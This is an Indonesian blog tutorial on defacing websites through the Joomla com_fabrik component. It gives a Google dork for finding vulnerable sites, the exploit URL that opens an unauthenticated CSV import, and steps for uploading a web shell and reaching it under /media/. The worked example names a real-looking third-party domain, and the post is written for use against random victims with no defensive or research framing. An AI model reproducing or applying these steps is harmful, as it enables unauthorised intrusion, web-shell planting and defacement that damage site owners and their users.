Deface Metode Com_Fabrik

hallo kembali lagi dengan saya Hunterhost 

kali ini gua akan bahas Deface metode Com_fabrik

dih titip file mulu, nebas index kapan? Ya ntar lah nj1nx. W post tutor simpel simpel dulu, kalo lu merasa master ga usah baca nih post. Kita sama2 belajar, gampang kan?

Langkah-Langkah:
1. Cari target dengan google dork ini
  inurl:viewTable?cid= site:com 
*Site: Boleh diganti apa saja. ( contoh: ru /it /ac /za /fi dll )
*Google Dork, kreasikan sendiri.

2. Setelah web dibuka, maka akan muncul Sorry this form is not publish. dan masukkan exploit ini
index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1

contoh: http://sdditg.com/index.php?option=com_fabrik&c=import&view=import&fietype=csv&tableid=0

3. Masukkan shell milik sobat (Pilih File)  dan lalu klik tombol import CSV

4. Setelah proses upload shell selesai, maka akan ada tampilan seperti gambar diatas atau mungkin berbeda dengan gambar diatas. lalu masuk ke akses Script nya.

www.site.com/media/nama Script kamu.html

contoh: http://sdditg.com/media/tested.html (Jika nama Script anda adalah tested)

*Jika berhasil, akan muncul tampilan shell milik anda. jika tidak berhasil, berarti cari target lain.

dan ini hasil nya : http://sdditg.com/media/tested.html

kurang jelas? youtube aja gan link ada di bawah

Disini gan

Sekian dari W Terima kasih :)

Thanks to: Maestro404 - Xaveroz_Tersakiti - ./Hydra - ./Kinekaru - ./Shindex404 - R13z - Bayz21 - ./Unkn0wn_ - KANG GALAU - t4mv4n_cy3b3r - ./M4RY_PR0S4 - ./Wall E - Greedy - ./AkatsuChan - And You :*

Share :

Tweet

More

Related Post